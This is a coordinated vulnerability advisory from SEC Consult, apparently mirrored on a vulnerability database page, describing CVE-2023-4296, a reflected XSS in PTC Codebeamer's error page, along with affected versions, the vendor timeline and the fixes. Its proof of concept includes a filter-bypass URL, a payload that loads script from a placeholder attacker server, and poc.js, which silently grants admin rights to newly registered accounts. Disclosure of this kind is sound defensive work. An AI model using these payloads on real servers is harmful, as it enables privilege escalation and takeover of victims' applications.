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🗓️ 18 Sep 2023 00:00:00Reported by Niklas Schilling, sec-consult.comType 
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Codebeamer XSS vulnerability <=22.10-SP7, <=22.04-SP5, <=21.09-SP13. CVE-2023-4296. Reflected XSS attack through Error Page

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`SEC Consult Vulnerability Lab Security Advisory < 20230829-0 >  
=======================================================================  
title: Reflected Cross-Site Scripting (XSS)  
product: PTC - Codebeamer (ALM Solution)  
vulnerable version: <=22.10-SP7, <=22.04-SP5, <=21.09-SP13  
fixed version: >=22.10-SP8, >=22.04-SP6, >=21.09-SP14  
CVE number: CVE-2023-4296  
impact: high  
homepage: https://www.ptc.com/en/products/codebeamer  
found: 2023-04-14  
by: Niklas Schilling (Office Munich)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Codebeamer offers unique digital workflows that help your teams improve  
development collaboration, product line development efficiency, and regulatory  
compliance. Codebeamer's open platform extends application lifecycle management  
functionalities with product line configuration capabilities, and provides  
unique configurability for complex processes. Connect all development tools to  
give your teams a single development platform. You can also easily adapt the  
solution to specific development needs and automate process control for  
regulatory compliance."  
  
Source: https://www.ptc.com/en/products/codebeamer  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends PTC customers to install the latest updates.  
  
Furthermore, an in-depth security analysis performed by security professionals  
is highly advised, as the software may be affected from other security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)  
The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack.  
It successfully sanitizes malicious HTML tags such as <script> and various  
JavaScript events like "onload" or "onerror" that can be used to execute arbitrary  
JavaScript code when a certain event occurs.  
  
However, it was possible to bypass these restrictions, allowing an attacker  
to inject arbitrary JavaScript code which will be executed in the victim's  
browser upon clicking on a malicious link.  
  
  
Proof of concept:  
-----------------  
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)  
To verify this vulnerability, it is sufficient to open the following URL as  
an unauthenticated user in a web browser:  
https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)>  
  
When a user now moves the cursor anywhere on the Error Page, the  
"onpointermove" event triggers, resulting in the execution of the alert()  
function.  
  
To further demonstrate the criticality of this vulnerability, the following  
XSS payload can be used:  
  
https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove =  
"if(!document.getElementById('SEC1337')){window.x=document.createElement('script');  
window.x.id='SEC1337';window.x.src ='https://<ATTACKER_SERVER>/poc.js';  
document.body.appendChild(window.x);}"></html>  
  
Note that the space before the equal sign in "window.x.src ='https://<ATTACKER_SERVER>/poc.js'"  
is mandatory, as this section of the payload would otherwise be truncated to  
"window.x." by the application, completely removing the URL of the attacker  
server.  
  
When an admin user now clicks on this malicious link, an external JavaScript  
file will be loaded (poc.js), which can be found below. The included  
JavaScript code creates a hidden iframe which loads the page with the User  
Registration settings. This page allows to specify, whether newly registered  
accounts should get assigned to a certain group via multiple checkboxes to  
choose from. The script now automatically selects the checkbox  
"System Administrator", resulting in newly registered accounts having admin  
privileges in the application. As this attack takes place in a hidden iframe,  
the victim doesn't get any visual feedback that the attack is happening.  
  
Attack Sequence:  
1. Send the malicious link to an administrator.  
2. Wait for the administrator to click on the malicious link.  
3. Register a new account with automatic admin privileges.  
  
Content of poc.js:  
frame = document.createElement("iframe");  
frame.addEventListener("load", function() {  
setTimeout(function(){  
frame.contentDocument.getElementById("roles1").click();  
frame.contentDocument.getElementById("notificationFrom").value = "[email protected]";  
frame.contentDocument.getElementById("notificationAddress").value = "[email protected]";  
frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click();  
}, 2000)  
});  
frame.src = "http://<CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr";  
frame.style="position: absolute;width:0;height:0;border:0;";  
document.body.append(frame);  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following Codebeamer versions are affected by this vulnerability:  
<=22.10-SP7, <=22.04-SP5, <=21.09-SP13  
  
  
Vendor contact timeline:  
------------------------  
2023-06-05: Sending the advisory to [email protected]  
2023-06-05: Vendor confirms receipt of advisory.  
2023-06-16: Vendor confirms vulnerability and mentions a fix in version "22.10-SP6".  
2023-06-19: Informing the vendor that version "22.10-SP6" is still vulnerable.  
2023-06-21: Vendor confirms that the vulnerability still exists in version  
"22.10-SP6" and that it's actually fixed in version "22.10-SP7".  
Furthermore, vendor asks if we're fine with a public disclosure via CISA.  
2023-06-22: Informing vendor that public disclosure via CISA is fine.  
2023-06-22: Vendor mentions that he contacts CISA and that he keeps us in loop.  
2023-07-14: Asking vendor for a status update regarding CISA.  
2023-07-14: Vendor requests access to CISA VINCE for a public disclosure.  
2023-07-14: Access granted to CISA VINCE.  
2023-08-01: Date of public disclosure set to 2023-08-29.  
2023-08-29: Coordinated advisory release.  
  
  
Solution:  
---------  
Update version "22.10-X" to "22.10-SP8" or later.  
Update version "22.04-X" to "22.04-SP6" or later.  
Update version "21.09-X" to "21.09-SP14" or later.  
  
The following URL was provided by the vendor with additional remediation information:  
https://codebeamer.com/cb/wiki/31346480  
  
  
Workaround:  
-----------  
No workaround available.  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
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Send us your application https://sec-consult.com/career/  
  
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Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF N. Schilling / @2023  
  
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18 Sep 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.16.1 - 8.8
EPSS0.01305
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